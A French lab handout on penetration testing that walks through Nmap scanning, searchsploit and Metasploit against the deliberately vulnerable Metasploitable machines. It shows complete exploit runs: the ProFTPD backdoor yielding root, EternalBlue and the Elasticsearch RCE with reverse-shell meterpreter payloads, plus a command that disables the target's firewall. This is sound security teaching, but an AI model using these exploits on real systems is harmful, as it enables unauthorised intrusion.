
TP test d'intrusion

Reconnaissance avec Nmap et utilisation de Metasploit

Olivier LASNE - olivier@lasne.pro

2020-11-29

Introduction

Dans ce TP, nous allons voir comment utiliser Nmap pour découvrir services présents sur une machine, et récupérer leur version.

Nous verrons aussi comment vérifier si il existe un exploit pour la version utiliser, et comment exploiter une vulnérabilité avec le framework Metasploit.

Nmap

Nmap est un scanner réseau, il peut être utiliser à la fois pour découvrir les machines présentes sur un réseau, et pour lister les services (et leur version) d'une machine.

Nmap a de nombreuses options, nous ne les détaillerons pas toutes ici.

Scan basique

Si on lui donne une IP en paramètre, nmap va simplement effectuer un scan de port TCP, et lister les ports ouverts.

Exemple avec Metasploitable :

```
1 $ nmap 192.168.56.210
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:46 CET
3 Nmap scan report for vulnerable (192.168.56.210)
4 Host is up (0.00050s latency).
5 Not shown: 976 closed ports
6 PORT      STATE SERVICE
7 21/tcp    open  ftp
8 22/tcp    open  ssh
9 80/tcp    open  http
10 135/tcp   open  msrpc
11 139/tcp   open  netbios-ssn
12 445/tcp   open  microsoft-ds
13 3306/tcp  open  mysql
14 3389/tcp  open  ms-wbt-server
15 4848/tcp  open  appserv-http
16 7676/tcp  open  imqbrokerd
17 8009/tcp  open  ajp13
18 8022/tcp  open  oa-system
19 8031/tcp  open  unknown
20 8080/tcp  open  http-proxy
21 8181/tcp  open  intermapper
22 8383/tcp  open  m2mservices
23 8443/tcp  open  https-alt
```

```
24 9200/tcp open wap-wsp
25 49152/tcp open unknown
26 49153/tcp open unknown
27 49154/tcp open unknown
28 49157/tcp open unknown
29 49158/tcp open unknown
30 49161/tcp open unknown
31
32 Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
```

Découvrir les machines présentes sur un réseau

Ping scan

Pour découvrir rapidement les machines présentes sur le réseau, on peut faire simplement un ping scan :

```
1 nmap -sn 10.11.1.1-254
```

Top ports

Néanmoins, un certain nombre de machines sont configurés pour ne pas répondre aux ping. On peut choisir de scanner uniquement les ports les plus communs

```
1 nmap 10.11.1.1/24 -Pn --top-ports 10 --open -sS
```

-Pn : scan les ports même si la machine ne réponds pas aux pings.

--top-ports xx : scan uniquement les **xx** ports les plus communs.

--open : dans la sortie indique uniquement les ports ouverts.

-sS : **syn** scan, effectue seulement la 1ère partie du handshake TCP et est donc plus rapide. Peut-être également plus discret, mais est généralement détecté aujourd'hui.

Enregistrer les résultats

Nmap support 3 formats d'enregistrement

-oN : format texte classique. Identique à la sortie de la console.

-oG : *grepable nmap*, optimisé pour une recherche dans les résultats avec **grep**

-oX : format xml. Peut permettre de **reprendre un scan interrompu**, et l'importation des résultats dans certains outils comme **Metasploit**.

Scanner une machine

Une fois notre cible définie, on va chercher à avoir un maximum d'information.

Options communes

Avant d'attaquer une machine, on va généralement effectuer un **scan TCP complet** avec les options suivantes :

```
1 nmap -sV -sC -O -p- 192.168.56.210 -oN full.nmap
```

-p- va indiquer que l'on liste absolument tous les ports

-sV indique que l'on veut récupérer les informations de version

-sC indique que l'on lance les *scripts nmap* de récupération d'information qui n'ont pas d'effet de bord

-O signifie que nmap va essayer de détecter la version du système d'exploitation présent en face.

-oN écrit les résultats dans le fichier `full.nmap`

On réalise généralement un **1er scan de port** sans l'option **-p-** de façon à avoir uniquement les 1000 ports les plus fréquents. Et dans un second temps un scan avec tous les ports.

Scan UDP

Un scan UDP peut être (très) long. Néanmoins, il est généralement intéressant d'effectuer un scan au moins des ports les plus fréquents.

```
1 nmap -sU 192.168.56.210 -oN udp.nmap
```

Scripts Nmap

Nmap a la possibilité d'**exécuter des scripts**. Les scripts sont stockés dans le dossier `/usr/share/nmap/scripts`

Lister les scripts en lien avec SMB :

```
1 ls /usr/share/nmap/scripts | grep smb
```

On peut obtenir de l'**aide** sur un **script** de la façon suivante :

```
1 $ nmap --script-help=smb-os-discovery.nse
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:21 EST
3
4 smb-os-discovery
```

```
5 Categories: default discovery safe
6 https://nmap.org/nsedoc/scripts/smb-os-discovery.html
7 Attempts to determine the operating system, computer name, domain,
  workgroup, and current
8 time over the SMB protocol (ports 445 or 139).
9 This is done by starting a session with the anonymous
10 account (or with a proper user account, if one is given; it likely
  doesn't make
11 a difference); in response to a session starting, the server will
  send back all this
12 information.
13
14 The following fields may be included in the output, depending on the
15 circumstances (e.g. the workgroup name is mutually exclusive with
  domain and forest
16 names) and the information available:
17 * OS
18 * Computer name
19 [...]
```

!/ Attention : par défaut un pare-feu filtre le SMB sur Metasploitable 3. On peut le désactiver avec la commande suivante :

```
1 netsh advfirewall set allprofile state off
```

Un **script nmap** est exécuté de la façon suivante :

```
1 $ nmap --script=smb-os-discovery.nse 192.168.56.210 -p139,445
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:53 CET
3 Nmap scan report for vulnerable (192.168.56.210)
4 Host is up (0.00033s latency).
5
6 PORT      STATE SERVICE
7 139/tcp   open  netbios-ssn
8 445/tcp   open  microsoft-ds
9
10 Host script results:
11 | smb-os-discovery:
12 |   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows
  Server 2008 R2 Standard 6.1)
13 |   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
14 |   Computer name: metasploitable3-win2k8
15 |   NetBIOS computer name: METASPLOITABLE3\x00
16 |   Workgroup: WORKGROUP\x00
17 |_  System time: 2020-12-14T09:53:16-08:00
18
19 Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

Utilisation d'exploit

Dans le cadre d'un test d'intrusion, on va chercher à savoir s'il existe une vulnérabilité pour une des versions utilisées. À la fois sur des sites comme cvedetails.com, et directement sur des moteurs de recherche.

Dans notre cas, on va chercher directement à voir s'il existe **un exploit**. C'est à dire un script exploitant la vulnérabilité.

Exploit-DB

Le site de référence pour les exploits publics est **exploit-db.com**.

On peut effectuer des recherches directement sur l'interface web, mais il existe sous kali directement un outil en ligne de commande : **searchsploit**.

```
1 $ searchsploit vsftpd
2 -----
3 Exploit Title | Path
4 -----
5 vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
6 vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
7 vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
8 vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
9 vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
10 -----
```

On peut utiliser l'option **-u** pour mettre à jour la base de données. `searchsploit -u`

L'option **-x** pour voir le détail d'un exploit. `searchsploit -x unix/remote/17491.rb`.

Et l'option **-m** pour en faire une copie dans le dossier courant. `searchsploit -m unix/remote/17491.rb`

Il n'y a pas d'unité sur la façon dont ces scripts sont écrits, et il est souvent nécessaire de les adapter.

Convertir un fichier au format CRLF

Il est parfois nécessaire de convertir les fichiers écrit sous Windows (convention CRLF). Pour cela on peut simplement utiliser l'outil `dos2unix`.

```
1 $ file 31819.pl
2 31819.pl: ASCII text, with CRLF line terminators
3
4 $ dos2unix 31819.pl
```

```
5 dos2unix: converting file 31819.pl to Unix format...
6
7 $ file 31819.pl
8 31819.pl: ASCII text
```

Metasploit

Metasploit est un **framework d'attaque**. Il intègre un nombre important d'**exploits** et de **payloads** et permet de les utiliser de façon unifiée.

Il intègre notamment des exploits très complexes comme ceux pour la vulnérabilité **MS17-010**.

Son intérêt réside aussi dans le shell **meterpreter** et les nombreux modules de **post-exploitation** qu'il intègre.

Démarrer la base de données

Metasploit utilise une base de données postgresql. Avant d'utiliser le framework il est nécessaire de démarrer la base de données avec la commande **msfdb run**.

L'état de la base de données peut être vérifiée avec **msfdb status**.

Msfconsole

On lance le framework avec la commande **msfconsole**.

```
1 $ msfconsole
2 IIIIII dTb.dTb
3  II  4'  v  'B  . '"".'/'\.'"".'
4  II  6.      .P  : .'. / \ \.' :
5  II  'T;. .;P'  \.' / \ \.' :
6  II  'T; ;P'   \.' / \ \.' :
7 IIIIII  'YvP'   \.' / \ \.' :
8
9 I love shells --egypt
10
11
12      =[ metasploit v6.0.17-dev                               ]
13 + -- --=[ 2076 exploits - 1124 auxiliary - 352 post           ]
14 + -- --=[ 592 payloads - 45 encoders - 10 nops              ]
15 + -- --=[ 7 evasion                                           ]
16
17 Metasploit tip: You can use help to view all available commands
18
19 msf6 >
```

Pour obtenir de l'aide, il existe la commande `help`, ainsi que l'option `-h` les différentes commandes.

À noter que metasploit supporte aussi l'autocomplétion avec **Tab**.

Metasploit a 4 catégories de modules principaux :

- auxiliary
- exploits
- payloads
- post

Exploit : La collection d'exploit de Metasploit. Ils sont classés par architecture de la cible, et protocole.

Auxiliary : Va contenir les scanners, fuzzeurs, sniffer, etc.

Payload, Encoders, Nops : Ensemble de charges malveillantes, et les encodeurs nécessaires pour qu'il atteignent leur destination intacts.

Post : Ensemble de modules qui aident à la phase de post-exploitation.

Rechercher un exploit / module

On peut utiliser la commande `search` pour chercher un module.

```
1 msf6 > search proftp
2
3 Matching Modules
4 =====
5
6 #   Name                                     Disclosure Date
7   Rank      Check  Description
8   ----      -
9
10 0   exploit/freebsd/ftp/proftp_telnet_iac      2010-11-01
    great      Yes   ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer
    Overflow (FreeBSD)
9   1   exploit/linux/ftp/proftp_sreplace          2006-11-26
    great      Yes   ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (
    Linux)
10  2   exploit/linux/ftp/proftp_telnet_iac      2010-11-01
    great      Yes   ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer
    Overflow (Linux)
```



```

11  3  exploit/linux/misc/netsupport_manager_agent  2011-01-08
    average  No      NetSupport Manager Agent Remote Buffer Overflow
12  4  exploit/unix/ftp/proftpd_133c_backdoor      2010-12-02
    excellent No      ProFTPD-1.3.3c Backdoor Command Execution
13  5  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22
    excellent Yes     ProFTPD 1.3.5 Mod_Copy Command Execution
14  6  exploit/windows/ftp/proftpd_banner           2009-08-25
    normal    No      ProFTP 2.9 Banner Remote Buffer Overflow
15
16
17  Interact with a module by name or index. For example info 6, use 6 or
    use exploit/windows/ftp/proftpd_banner

```

Utiliser un module

Pour utiliser un module on utilise la commande `use`.

```

1  msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
2  msf6 exploit(unix/ftp/proftpd_133c_backdoor) >

```

Obtenir des infos

On utilise la commande `show info` pour obtenir des informations sur un module.

Pour lister les options d'un module, on utilise `show options`.

```

1  msf6 exploit(unix/ftp/proftpd_133c_backdoor) > options
2
3  Module options (exploit/unix/ftp/proftpd_133c_backdoor):
4
5      Name      Current Setting  Required  Description
6      ----      -
7      RHOSTS    192.168.3.173   yes       The target host(s), range CIDR
            identifier, or hosts file with syntax 'file:<path>'
8      RPORT     21              yes       The target port (TCP)
9
10
11  Exploit target:
12
13      Id  Name
14      --  ---
15      0   Automatic

```

Les principales options sont **RHOSTS** qui contient l'IP de la machine cible, et **RPORT** qui indique le port où tourne le service cible.

Les options se configurent avec la commande `set` :

```
1 msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.3.173
2 RHOSTS => 192.168.3.173
```

Choix du payloads

Les **payloads compatibles** peuvent être listés avec la commande `show payloads`. Si compatible, on choisira généralement `windows/meterpreter/reverse_tcp`, `linux/x86/meterpreter/reverse_tcp` ou `linux/x64/meterpreter/reverse_tcp`.

Pour sélectionner un payload, on utilisera de la même façon la commande `set`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/
  meterpreter/reverse_tcp
2 payload => windows/meterpreter/reverse_tcp
```

Une fois le **payload** définit. Il est souvent nécessaire de le configurer en définissant **LHOST** (adresse à laquelle le payload vient se connecter).

On le configure de la même manière que RHOSTS avec la commande `set`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.101
2 LHOST => 192.168.56.101
```

Une fois qu'un payload a été définit. Ses **options** apparaissent également dans la sortie de la commande `options`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > options
2 [...]
3
4 Payload options (windows/meterpreter/reverse_tcp):
5
6   Name      Current Setting  Required  Description
7   ----      -
8   EXITFUNC  thread          yes       Exit technique (Accepted: '',
9   LHOST      192.168.56.101  yes       The listen address (an
10  LPORT      4444            yes       The listen port
```

Executer un exploit

Sur les exploits qui le supportent, on peut utiliser la commande `check` pour vérifier si la cible est vulnérable.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > check
2
3 [*] 172.16.237.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as
  check
4 [-] 172.16.237.130:445 - Host does NOT appear vulnerable.
5 [*] 172.16.237.130:445 - Scanned 1 of 1 hosts (100% complete)
6 [*] 172.16.237.130:445 - Cannot reliably check exploitability.
```

Finalement, on utilise la commande `run` pour exécuter l'exploit.

```
1 msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run
2
3 [*] Started reverse TCP double handler on 192.168.3.8:4444
4 [*] 192.168.3.173:21 - Sending Backdoor Command
5 [*] Accepted the first client connection...
6 [*] Accepted the second client connection...
7 [*] Command: echo FcjmId852usWprlr;
8 [*] Writing to socket A
9 [*] Writing to socket B
10 [*] Reading from sockets...
11 [*] Reading from socket A
12 [*] A: "FcjmId852usWprlr\r\n"
13 [*] Matching...
14 [*] B is input...
15 [*] Command shell session 1 opened (192.168.3.8:4444 ->
    192.168.3.173:42450) at 2021-01-25 15:55:09 +0100
16
17 id
18 uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
```

Améliorer son Shell

Lorsque l'on obtient un shell un peu minimaliste à travers un exploit. On peut utiliser la commande suivante pour avoir un shell un peu plus classe.

```
1 python -c "import pty;pty.spawn('/bin/bash')"
```

(Il est parfois nécessaire de préciser la version de python : `python2` ou `python3`).

Les sessions

Un shell ou **session** peut être mis en arrière plan avec la commande `background` ou le raccourci `Ctrl + Z`.

On peut lister les sessions avec la commande `sessions`.

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions
2
3 Active sessions
4 =====
5
6  Id   Name   Type           Information   Connection
7  --   ----   ---           -
8  1           shell cmd/unix           0.0.0.0:0 ->
           172.16.237.130:6200 (172.16.237.130)
```

On peut récupérer une session interactive avec la commande `session -i`.

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
2 [*] Starting interaction with 1...
3
4 whoami
5 root
```

Exercice :

1. Utiliser l'exploit **vsftpd** pour obtenir un shell sur Metasploitable
2. Utiliser un autre exploit pour obtenir un shell.

Exploitation de Metasploitable 3

Si vous avez installé vous même la machine :

Compte admin sur la machine : `vagrant:vagrant`

Le clavier est en qwerty.

Scan de ports

Comme toujours on commence par un scan de ports :

```
1 nmap -sV -sC 192.168.56.7 -oN nmap/initial.nmap
2
3 nmap -sV -sC -p- 192.168.56.7 -oA nmap/full.nmap
```

Eternal Blue

On a le port 445 qui est ouvert. On peut vérifier si la machine est vulnérable a **Eternal Blue (MS17-010)** avec un **script nmap**.

```
1 $ ls /usr/share/nmap/scripts | grep smb
2 ...
3 smb-vuln-ms17-010.nse
4 ...
```

La machine semble être vulnérable :

```
1 $ nmap --script=smb-vuln-ms17-010.nse -p 445 192.168.56.7
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-17 09:53 CET
3 Nmap scan report for 192.168.56.7
4 Host is up (0.00028s latency).
5
6 PORT      STATE SERVICE
7 445/tcp   open  microsoft-ds
8
9 Host script results:
10 | smb-vuln-ms17-010:
11 |   VULNERABLE:
12 |     Remote Code Execution vulnerability in Microsoft SMBv1 servers (
13 |       ms17-010)
14 |       State: VULNERABLE
15 |       IDs:   CVE:CVE-2017-0143
16 |       Risk factor: HIGH
17 |       A critical remote code execution vulnerability exists in
18 |       Microsoft SMBv1
19 |       servers (ms17-010).
20 |       Disclosure date: 2017-03-14
21 |       References:
22 |         https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
23 |         https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
24 |         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
25 Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
```

On peut utiliser un exploit Metasploit pour exploiter la vulnérabilité.

Exploit windows/smb/ms17_010_psexec est noté Excellent, il est fiable mais nécessite un named pipe.

Or **smbmap** nous indique qu'il n'y a pas de pipe accessible :

```
1 $ smbmap -H 192.168.56.7
```

```
2  [+] IP: 192.168.56.7:445      Name: 192.168.56.7
```

On peut donc se rabattre sur `windows/smb/ms17_010_eternalblue`.

```
1  msf6 exploit(windows/smb/ms17_010_eternalblue) > options
2
3  Module options (exploit/windows/smb/ms17_010_eternalblue):
4
5      Name          Current Setting  Required  Description
6      ----          -
7      RHOSTS        192.168.56.7    yes       The target host(s), range
          CIDR identifier, or hosts file with syntax 'file:<path>'
8      RPORT         445             yes       The target port (TCP)
9      SMBDomain     .               no        (Optional) The Windows
          domain to use for authentication
10     SMBPass       .               no        (Optional) The password
          for the specified username
11     SMBUser       .               no        (Optional) The username to
          authenticate as
12     VERIFY_ARCH   true           yes       Check if remote
          architecture matches exploit Target.
13     VERIFY_TARGET true           yes       Check if remote OS matches
          exploit Target.
14
15
16  Payload options (windows/x64/meterpreter/reverse_tcp):
17
18      Name          Current Setting  Required  Description
19      ----          -
20     EXITFUNC      thread          yes       Exit technique (Accepted: '',
          seh, thread, process, none)
21     LHOST         192.168.56.5    yes       The listen address (an
          interface may be specified)
22     LPORT         4444            yes       The listen port
23
24
25  Exploit target:
26
27      Id  Name
28      --  ---
29      0   Windows 7 and Server 2008 R2 (x64) All Service Packs
```

Et on peut obtenir un shell avec la commande `exploit`. À noter que l'exploit n'est pas particulièrement fiable.

Elastic Search

En se connectant au port 9200, on peut identifier qu'il s'agit d'un elasticsearch en cherchant sur internet avec le

- build_hash
- lucene version

La version indiquée est la 1.1.1. Il existe un exploit metasploit pour cette version.

```
1 msf6 exploit(multi/elasticsearch/script_mvel_rce) > use exploit/multi/
  elasticsearch/script_mvel_rce
2 [*] Using configured payload java/meterpreter/reverse_tcp
```

On prend soin de configurer les options correctement

```
1 msf6 exploit(multi/elasticsearch/script_mvel_rce) > options
2
3 Module options (exploit/multi/elasticsearch/script_mvel_rce):
4
5   Name          Current Setting  Required  Description
6   ----          -
7   Proxies        /host:port[,type:host:port][...] no         A proxy chain of format type
8   RHOSTS         192.168.56.7    yes       The target host(s), range
   CIDR identifier, or hosts file with syntax 'file:<path>'
9   RPORT         9200            yes       The target port (TCP)
10  SSL            false           no        Negotiate SSL/TLS for
   outgoing connections
11  TARGETURI      /               yes       The path to the
   Elasticsearch REST API
12  VHOST          /               no        HTTP server virtual host
13  WritableDir     /tmp            yes       A directory where we can
   write files (only for *nix environments)
14
15
16 Payload options (java/meterpreter/reverse_tcp):
17
18   Name          Current Setting  Required  Description
19   ----          -
20   LHOST         192.168.56.5    yes       The listen address (an interface
   may be specified)
21   LPORT         4785            yes       The listen port
22
23
24 Exploit target:
25
26   Id  Name
27   --  ---
28   0   Elasticsearch 1.1.1 / Automatic
```

La commande `run` va nous obtenir un shell sur la machine distante.

Exercice : Exploitez par vous-même la vulnérabilité sur : 1. Jenkins 2. Tomcat